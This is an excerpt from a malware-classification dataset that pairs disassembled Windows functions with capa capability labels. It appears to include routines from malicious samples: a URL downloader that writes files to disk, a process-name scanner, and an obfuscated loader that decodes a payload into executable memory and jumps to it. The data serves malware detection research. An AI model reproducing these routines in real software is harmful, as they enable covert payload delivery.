joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10026ac3
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x10026b60
push ebx
push esi
call fcn.10026a8c
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.10025888
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10026b0d
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10026b5f
push edi
push eax
call fcn.10021496
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10026b2d
call fcn.10020818
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10026b5e
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.10025888
add esp, 0x20
test eax, eax
jne 0x10026b4c
push edi
call fcn.10020818
jmp 0x10026b54
push ebx
call fcn.10020818
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10026b63
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x10026b74
pop esi
ret
push ebx
push edi
push esi
call fcn.10026a8c
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.10021496
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x10026b9c
push ebx
push esi
push edi
call fcn.10013440
add esp, 0xc
push 0
call fcn.10020818
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x10026f6c
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10026bb1

Function at 0x10029625
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.1001dff4
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x10029694
cmp esi, dword [ebp - 4]
je 0x1002968f
cmp dword [ebp + 0xc], 0
je 0x1002968f
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x1002966c
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.10029177
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x10029696
xor eax, eax
inc eax
jmp 0x10029696
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x100296fb
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1003f144]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.1001dff4
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.1001dff4
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x10029772
cmp word [ecx], dx
je 0x10029772
mov eax, dword [0x10035894]
push edi
dec eax
push eax
push 0x10035780
call fcn.1002969a
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x100297e5
cmp word [eax], dx
je 0x100297e5
mov eax, dword [edi]
test eax, eax
je 0x10029796
cmp word [eax], dx
je 0x10029796
lea eax, [ebp - 0x10]
push eax
call fcn.1002907d
jmp 0x1002979f
lea eax, [ebp - 0x10]
push eax
call fcn.10029118
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x1002980f
mov eax, dword [0x1003577c]
push dword [ebp - 0x14]
dec eax
push eax
push 0x10035470
call fcn.1002969a
add esp, 0xc
test al, al
je 0x1002980f
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x100297da
cmp word [eax], di
je 0x100297da
lea eax, [ebp - 0x10]
push eax
call fcn.1002907d
pop ecx
jmp 0x10029811
lea eax, [ebp - 0x10]
push eax
call fcn.10029118
jmp 0x100297d7
mov eax, dword [edi]
test eax, eax
je 0x100297fc
cmp word [eax], dx
je 0x100297fc
lea eax, [ebp - 0x10]
push eax
call fcn.10029032
pop ecx
jmp 0x1002980f
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x100298da
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.1002951f
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x100298da
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x100298da
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x100298da
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x10029867
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.10021273
test ebx, ebx
je 0x100298d5
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.10021273
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x100298da
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x100298da
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.1002cefa
add esp, 0x10
xor eax, eax
inc eax
jmp 0x100298dc
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10011d08
leave
ret
Function at 0x1002d6f1
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.1002d66d
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x1002d860
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x1002d860
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x1002d815
jg 0x1002d74d
test eax, eax
je 0x1002d80b
push 1
push 0x1000
call fcn.1001fb96
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x1002d770
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1002d802
push 0x8000
push ebx
call fcn.1002d59e
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x1002d799
jg 0x1002d794
cmp ecx, 0x1000
jb 0x1002d799
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.100205fc
add esp, 0x10
cmp eax, 0xffffffff
je 0x1002d7de
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x1002d794
jl 0x1002d7c5
test ecx, ecx
jne 0x1002d786
push dword [ebp - 0xc]
push ebx
call fcn.1002d59e
push esi
call fcn.10020818
add esp, 0xc
xor ebx, ebx
jmp 0x1002d86e
cmp byte [edi + 0x24], 0
je 0x1002d7f5
cmp dword [edi + 0x20], 5
jne 0x1002d7f5
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x1002d800
mov ebx, dword [edi + 0x18]
jmp 0x1002d802
xor ebx, ebx
push esi
call fcn.10020818
pop ecx
jmp 0x1002d86e
test ecx, ecx
jg 0x1002d7d7
jl 0x1002d815
test eax, eax
jae 0x1002d7d7
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.10024a00
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x1002d835
cmp byte [edi + 0x1c], 0
je 0x1002d7d7
jmp 0x1002d866
push ebx
call fcn.100274c4
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1002d7d7
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1002d86e
cmp byte [edi + 0x1c], 0
je 0x1002d86b
mov ebx, dword [edi + 0x18]
jmp 0x1002d86e
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.10024a00
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1002eed0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1002eefd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1002eefd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x10001050
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov eax, 0x101c
call fcn.10003130
mov eax, dword [0x100120f0]
xor eax, esp
mov dword [esp + 0x1018], eax
mov eax, dword [esp + 0x1024]
push ebx
mov ebx, dword [sym.imp.WININET.dll_InternetOpenUrlA]
push ebp
push esi
mov dword [esp + 0x18], eax
or eax, 0xffffffff
push edi
mov edi, dword [esp + 0x1030]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], eax
nop
push 0
push 0
push 0
push 1
push 0x1000e298
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
mov dword [esp + 0x20], esi
test esi, esi
je 0x10001239
push 0
push 0x80000000
push 0
push 0
push edi
push esi
call ebx
mov ebp, eax
test ebp, ebp
jne 0x100010e0
cmp byte [esp + 0x1040], al
je 0x10001219
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10001090
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [esp + 0x10]
push ecx
push 0x1000
lea edx, [esp + 0x30]
push edx
xor edi, edi
push ebp
xor esi, esi
mov dword [esp + 0x20], edi
call ebx
test eax, eax
je 0x10001160
cmp dword [esp + 0x10], 0
jbe 0x10001160
test esi, esi
jne 0x1000111e
push 0x1000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
jmp 0x1000112e
push 2
lea eax, [edi + 0x1000]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ecx, dword [esp + 0x10]
push ecx
mov esi, eax
lea edx, [esp + 0x2c]
push edx
lea eax, [esi + edi]
push eax
call fcn.10003160
add edi, dword [esp + 0x1c]
add esp, 0xc
lea ecx, [esp + 0x10]
push ecx
push 0x1000
lea edx, [esp + 0x30]
push edx
push ebp
call ebx
test eax, eax
jne 0x10001104
mov eax, dword [esp + 0x1c]
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esp + 0x18], eax
cmp eax, 0xffffffff
je 0x10001215
mov ecx, dword [esp + 0x103c]
test ecx, ecx
je 0x100011ee
mov eax, dword [esp + 0x1038]
add ecx, eax
cmp ecx, edi
jae 0x100011ee
test eax, eax
jge 0x100011af
add eax, edi
mov dword [esp + 0x1038], eax
push 0
call fcn.1000309a
push eax
call fcn.100030eb
xor ebx, ebx
add esp, 8
cmp dword [esp + 0x103c], ebx
jbe 0x100011ee
mov edx, dword [esp + 0x1038]
lea eax, [esi + edx]
mov dword [esp + 0x1c], eax
call fcn.100030fd
mov ecx, dword [esp + 0x1c]
mov byte [ecx + ebx], al
inc ebx
cmp ebx, dword [esp + 0x103c]
jb 0x100011d8
mov eax, dword [esp + 0x18]
push 0
lea edx, [esp + 0x28]
push edx
push edi
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test esi, esi
je 0x1000120d
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [esp + 0x14], 0
mov esi, dword [esp + 0x20]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
test ebp, ebp
je 0x10001229
push ebp
call esi
mov eax, dword [esp + 0x18]
cmp eax, 0xffffffff
je 0x10001239
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x1028]
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1000311f
add esp, 0x101c
ret
Function at 0x10001260
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x334
mov eax, dword [0x100120f0]
xor eax, esp
mov dword [esp + 0x330], eax
push esi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x100013c8
lea eax, [esp + 4]
push eax
push esi
mov dword [esp + 0xc], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x100013c1
push 0x103
lea ecx, [esp + 0x131]
push 0
push ecx
call fcn.10003020
push 0x103
lea edx, [esp + 0x241]
push 0
push edx
call fcn.10003020
mov al, 0x33
mov byte [esp + 0x144], al
mov byte [esp + 0x248], al
mov al, 0x36
mov byte [esp + 0x145], al
mov byte [esp + 0x249], al
mov al, 0x30
mov byte [esp + 0x146], al
mov byte [esp + 0x24a], al
mov al, 0x65
mov cl, 0x2e
add esp, 0x18
mov byte [esp + 0x12f], 0x54
mov byte [esp + 0x233], 0x73
mov byte [esp + 0x130], 0x72
mov byte [esp + 0x234], 0x44
mov byte [esp + 0x131], 0x61
mov byte [esp + 0x235], cl
mov byte [esp + 0x236], al
mov byte [esp + 0x237], 0x78
mov byte [esp + 0x238], al
mov byte [esp + 0x239], 0
mov byte [esp + 0x132], 0x59
mov byte [esp + 0x133], cl
mov byte [esp + 0x134], al
mov byte [esp + 0x135], 0x58
mov byte [esp + 0x136], al
mov byte [esp + 0x137], 0
lea ecx, [ecx]
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x130]
push ecx
call fcn.1000365a
add esp, 8
test eax, eax
je 0x100013e0
lea edx, [esp + 0x28]
push edx
lea eax, [esp + 0x234]
push eax
call fcn.1000365a
add esp, 8
test eax, eax
je 0x100013e0
lea ecx, [esp + 4]
push ecx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10001380
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
mov ecx, dword [esp + 0x330]
xor ecx, esp
call fcn.1000311f
add esp, 0x334
ret
mov ecx, dword [esp + 0x334]
pop esi
xor ecx, esp
mov eax, 1
call fcn.1000311f
add esp, 0x334
ret
Function at 0x10002920
Capabilities:
Decode data using base64 via winapi

Disassembly:
push esi
mov esi, dword [esp + 8]
mov ecx, dword [esi + 0x14]
test ecx, ecx
jne 0x10002930
xor al, al
pop esi
ret
cmp dword [esi + 0x18], 0x10
push ebx
lea ebx, [esi + 4]
jb 0x1000293e
mov eax, dword [ebx]
jmp 0x10002940
mov eax, ebx
push ebp
mov ebp, dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
push 0
push 0
lea edx, [esp + 0x18]
push edx
push 0
push 1
push ecx
push eax
call ebp
test eax, eax
jne 0x10002962
pop ebp
pop ebx
xor al, al
pop esi
ret
mov eax, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x18]
push 0
inc eax
push eax
mov ecx, edi
call fcn.10002880
mov ecx, dword [edi + 0x10]
sub ecx, dword [edi + 0xc]
jne 0x10002983
call fcn.10003809
cmp dword [esi + 0x18], 0x10
mov edi, dword [edi + 0xc]
mov ecx, dword [esi + 0x14]
jb 0x10002993
mov eax, dword [ebx]
jmp 0x10002995
mov eax, ebx
push 0
push 0
lea edx, [esp + 0x1c]
push edx
push edi
push 1
push ecx
push eax
call ebp
pop edi
pop ebp
test eax, eax
pop ebx
setne al
pop esi
ret
Function at 0x1000311f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100120f0]
jne 0x10003129
repz ret
jmp fcn.100053d3

Function at 0x1000bffd
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.10004e3a
and dword [ebp - 4], 0
cmp dword [0x10013a1c], 0
mov ebx, eax
jne 0x1000c0ae
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1000c15f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x1000c15f
push eax
call fcn.10004dc8
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x10013a1c], eax
call esi
push eax
call fcn.10004dc8
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x10013a20], eax
call esi
push eax
call fcn.10004dc8
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x10013a24], eax
call esi
push eax
call fcn.10004dc8
pop ecx
mov dword [0x10013a2c], eax
test eax, eax
je 0x1000c0ae
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.10004dc8
pop ecx
mov dword [0x10013a28], eax
mov eax, dword [0x10013a28]
cmp eax, ebx
je 0x1000c106
cmp dword [0x10013a2c], ebx
je 0x1000c106
push eax
call fcn.10004e43
push dword [0x10013a2c]
mov esi, eax
call fcn.10004e43
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x1000c106
test edi, edi
je 0x1000c106
call esi
test eax, eax
je 0x1000c0fd
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x1000c0fd
test byte [ebp - 0xc], 1
jne 0x1000c106
or dword [ebp + 0x10], 0x200000
jmp 0x1000c13f
mov eax, dword [0x10013a20]
cmp eax, ebx
je 0x1000c13f
push eax
call fcn.10004e43
pop ecx
test eax, eax
je 0x1000c13f
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1000c13f
mov eax, dword [0x10013a24]
cmp eax, ebx
je 0x1000c13f
push eax
call fcn.10004e43
pop ecx
test eax, eax
je 0x1000c13f
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x10013a1c]
call fcn.10004e43
pop ecx
test eax, eax
je 0x1000c15f
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1000c161
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x460eb0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x3e000]
push edi
or ebp, 0xffffffff
jmp 0x460ed2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x460ed9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x460ec8
mov eax, 1
add ebx, ebx
jne 0x460eeb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x460efc
jne 0x460f1b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x460f1b
dec eax
add ebx, ebx
jne 0x460f08
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x460ee0
add ebx, ebx
jne 0x460f17
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x460f6d
xor ecx, ecx
sub eax, 3
jb 0x460f33
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x460fa2
sar eax, 1
mov ebp, eax
jmp 0x460f3e
add ebx, ebx
jne 0x460f3e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x460f0c
inc ecx
add ebx, ebx
jne 0x460f4c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x460f0c
add ebx, ebx
jne 0x460f59
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x460f4e
jne 0x460f6a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x460f4e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x460f8c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x460f7e
jmp 0x460ece
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x460f8c
add edi, ecx
jmp 0x460ece
pop esi
mov edi, esi
mov ecx, 0x1bdf
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x460faa
cmp byte [edi], 0xe
jne 0x460faa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x460faf
lea edi, [esi + 0x5d000]
mov eax, dword [edi]
or eax, eax
je 0x461027
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x680ac]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x681b0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x460fdc
mov ecx, edi
jns 0x46100b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x681b4]
or eax, eax
je 0x461021
mov dword [ebx], eax
add ebx, 4
jmp 0x460ff9
call dword [esi + 0x681c4]
mov ebp, dword [esi + 0x681b8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x46105b
sub esp, 0xffffff80
jmp 0x425e5d
Function at 0x401016
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x4010a6
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x4010a3
push 0x5c
push esi
call dword [sym.imp.MSVCR80.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x4010a3
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40107c
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x401075
test ebp, ebp
je 0x401075
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x40107c
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x40109d
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x40109d
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x40102e
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x401bc8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x401bd7
pop dword [ebp - 0x28]
mov eax, 0xcbfe7936
sub eax, 0xcbbe5d5f
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0xa560f6cb
sub dword [ebp - 0x38], 0x570eb180
mov dword [ebp - 0x34], 0xecd672b9
add dword [ebp - 0x34], 0x455cd98c
mov dword [ebp - 0x30], 0x342a74c9
add dword [ebp - 0x30], 0x1821cf65
mov dword [ebp - 0x2c], 0x7ddb9636
add dword [ebp - 0x2c], 0x822469ca
lea eax, [ebp - 0x38]
push eax
mov eax, 0x8408f6ce
sub eax, 0x83c8866e
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0xb9229f7e
sub dword [ebp - 0x38], 0x44b03628
mov dword [ebp - 0x34], 0xd1313d4f
sub dword [ebp - 0x34], 0x8fc4dbda
mov dword [ebp - 0x30], 0x6b23374c
add dword [ebp - 0x30], 0xf84c3520
mov dword [ebp - 0x2c], 0xce9d385a
add dword [ebp - 0x2c], 0x3162c7a6
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x33cf3
push 0
call eax
mov ecx, 0x9652826d
sub ecx, 0x9652457d
mov edx, eax
mov esi, 0x410000
add esi, dword [ebp - 0x28]
mov ebx, 0xd8fc208a
sub ebx, 0xcda43175
xor dword [ebp - 0x14], edi
mov edi, dword [esi]
add edi, ebx
sub dword [ebp - 0x14], 0xe2833eda
mov dword [edx], edi
sub dword [ebp - 0xc], 0x74b634e9
add edx, 0x35e2329e
add edx, 0xca1dcd66
add esi, 0x9f049fa4
add esi, 0x60fb6060
loop 0x401cee
add eax, 0x371341ac
add eax, 0xc8eda4e7
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xb65b5bc1
add ecx, 0x49e4a43f
add ecx, dword [ebp - 0x28]
call ebx
leave
ret